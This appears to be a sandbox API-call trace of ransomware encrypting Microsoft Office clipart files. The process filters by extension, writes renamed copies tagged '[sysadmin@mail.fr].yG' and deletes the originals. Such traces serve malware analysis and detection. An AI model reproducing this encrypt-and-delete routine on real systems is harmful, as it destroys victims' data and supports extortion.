	[0174.067] lstrlenW (lpString=".ppt") returned 4
	[0174.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0174.067] lstrlenW (lpString=".zip") returned 4
	[0174.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.067] lstrlenW (lpString=".rar") returned 4
	[0174.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.067] lstrlenW (lpString=".bz2") returned 4
	[0174.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.067] lstrlenW (lpString=".7z") returned 3
	[0174.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0174.068] lstrlenW (lpString=".dbf") returned 4
	[0174.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0174.068] lstrlenW (lpString=".1cd") returned 4
	[0174.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0174.068] lstrlenW (lpString=".jpg") returned 4
	[0174.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.069] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=5004) returned 1
	[0174.069] CloseHandle (hObject=0x578) returned 1
	[0174.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 0x220
	[0174.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0174.070] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.071] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0174.072] GetLastError () returned 0x0
	[0174.072] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x138c, lpOverlapped=0x0) returned 1
	[0174.091] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x1390, lpOverlapped=0x0) returned 1
	[0174.092] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.092] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.092] SetEndOfFile (hFile=0x4d8) returned 1
	[0174.092] CloseHandle (hObject=0x4d8) returned 1
	[0174.092] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.093] SetEndOfFile (hFile=0x578) returned 1
	[0174.096] CloseHandle (hObject=0x578) returned 1
	[0174.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 1
	[0174.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0174.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0174.097] lstrlenW (lpString=".doc") returned 4
	[0174.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.097] lstrlenW (lpString=".docx") returned 5
	[0174.098] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0174.098] lstrlenW (lpString=".pdf") returned 4
	[0174.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.098] lstrlenW (lpString=".xls") returned 4
	[0174.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.098] lstrlenW (lpString=".xlsx") returned 5
	[0174.098] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0174.098] lstrlenW (lpString=".ppt") returned 4
	[0174.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0174.098] lstrlenW (lpString=".zip") returned 4
	[0174.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.098] lstrlenW (lpString=".rar") returned 4
	[0174.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.098] lstrlenW (lpString=".bz2") returned 4
	[0174.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.098] lstrlenW (lpString=".7z") returned 3
	[0174.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0174.098] lstrlenW (lpString=".dbf") returned 4
	[0174.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0174.098] lstrlenW (lpString=".1cd") returned 4
	[0174.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0174.098] lstrlenW (lpString=".jpg") returned 4
	[0174.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.099] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=4788) returned 1
	[0174.099] CloseHandle (hObject=0x578) returned 1
	[0174.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 0x220
	[0174.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0174.100] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.100] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0174.101] GetLastError () returned 0x0
	[0174.101] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x12b4, lpOverlapped=0x0) returned 1
	[0174.318] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0174.319] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.319] WriteFile (in: hFile=0x4d8, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.320] SetEndOfFile (hFile=0x4d8) returned 1
	[0174.320] CloseHandle (hObject=0x4d8) returned 1
	[0174.320] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.320] SetEndOfFile (hFile=0x578) returned 1
	[0174.356] CloseHandle (hObject=0x578) returned 1
	[0174.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.357] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 1
	[0174.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0174.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0174.359] lstrlenW (lpString=".doc") returned 4
	[0174.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.359] lstrlenW (lpString=".docx") returned 5
	[0174.359] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0174.359] lstrlenW (lpString=".pdf") returned 4
	[0174.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.359] lstrlenW (lpString=".xls") returned 4
	[0174.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.359] lstrlenW (lpString=".xlsx") returned 5
	[0174.359] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0174.359] lstrlenW (lpString=".ppt") returned 4
	[0174.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0174.359] lstrlenW (lpString=".zip") returned 4
	[0174.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.360] lstrlenW (lpString=".rar") returned 4
	[0174.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.360] lstrlenW (lpString=".bz2") returned 4
	[0174.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.360] lstrlenW (lpString=".7z") returned 3
	[0174.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0174.360] lstrlenW (lpString=".dbf") returned 4
	[0174.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0174.360] lstrlenW (lpString=".1cd") returned 4
	[0174.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68
	[0174.360] lstrlenW (lpString=".jpg") returned 4
	[0174.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.361] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=49238) returned 1
	[0174.361] CloseHandle (hObject=0x578) returned 1
	[0174.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 0x220
	[0174.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0174.363] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.363] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0174.364] GetLastError () returned 0x0
	[0174.364] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0xc056, lpOverlapped=0x0) returned 1
	[0174.368] WriteFile (in: hFile=0x484, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xc060, lpOverlapped=0x0) returned 1
	[0174.371] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.371] WriteFile (in: hFile=0x484, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.371] SetEndOfFile (hFile=0x484) returned 1
	[0174.371] CloseHandle (hObject=0x484) returned 1
	[0174.371] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.371] SetEndOfFile (hFile=0x578) returned 1
	[0174.376] CloseHandle (hObject=0x578) returned 1
	[0174.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 1
	[0174.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0174.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0174.378] lstrlenW (lpString=".doc") returned 4
	[0174.378] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.378] lstrlenW (lpString=".docx") returned 5
	[0174.378] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0174.378] lstrlenW (lpString=".pdf") returned 4
	[0174.378] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.379] lstrlenW (lpString=".xls") returned 4
	[0174.379] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.379] lstrlenW (lpString=".xlsx") returned 5
	[0174.379] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0174.379] lstrlenW (lpString=".ppt") returned 4
	[0174.379] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0174.379] lstrlenW (lpString=".zip") returned 4
	[0174.379] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.379] lstrlenW (lpString=".rar") returned 4
	[0174.379] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.379] lstrlenW (lpString=".bz2") returned 4
	[0174.379] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.379] lstrlenW (lpString=".7z") returned 3
	[0174.379] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0174.379] lstrlenW (lpString=".dbf") returned 4
	[0174.379] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0174.379] lstrlenW (lpString=".1cd") returned 4
	[0174.379] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0174.379] lstrlenW (lpString=".jpg") returned 4
	[0174.380] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.380] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=21125) returned 1
	[0174.380] CloseHandle (hObject=0x578) returned 1
	[0174.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 0x220
	[0174.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578
	[0174.382] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.382] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0174.383] GetLastError () returned 0x0
	[0174.383] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x5285, lpOverlapped=0x0) returned 1
	[0174.638] WriteFile (in: hFile=0x484, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x5290, lpOverlapped=0x0) returned 1
	[0174.639] ReadFile (in: hFile=0x578, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.640] WriteFile (in: hFile=0x484, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.640] SetEndOfFile (hFile=0x484) returned 1
	[0174.640] CloseHandle (hObject=0x484) returned 1
	[0174.640] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.640] SetEndOfFile (hFile=0x578) returned 1
	[0174.643] CloseHandle (hObject=0x578) returned 1
	[0174.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 1
	[0174.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0174.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0174.645] lstrlenW (lpString=".doc") returned 4
	[0174.645] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.645] lstrlenW (lpString=".docx") returned 5
	[0174.645] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0174.645] lstrlenW (lpString=".pdf") returned 4
	[0174.645] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.645] lstrlenW (lpString=".xls") returned 4
	[0174.645] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.645] lstrlenW (lpString=".xlsx") returned 5
	[0174.645] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0174.645] lstrlenW (lpString=".ppt") returned 4
	[0174.645] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0174.645] lstrlenW (lpString=".zip") returned 4
	[0174.645] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.645] lstrlenW (lpString=".rar") returned 4
	[0174.645] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.645] lstrlenW (lpString=".bz2") returned 4
	[0174.645] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.645] lstrlenW (lpString=".7z") returned 3
	[0174.645] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0174.645] lstrlenW (lpString=".dbf") returned 4
	[0174.645] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0174.645] lstrlenW (lpString=".1cd") returned 4
	[0174.645] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68
	[0174.645] lstrlenW (lpString=".jpg") returned 4
	[0174.645] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.646] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=31850) returned 1
	[0174.646] CloseHandle (hObject=0x578) returned 1
	[0174.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 0x220
	[0174.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
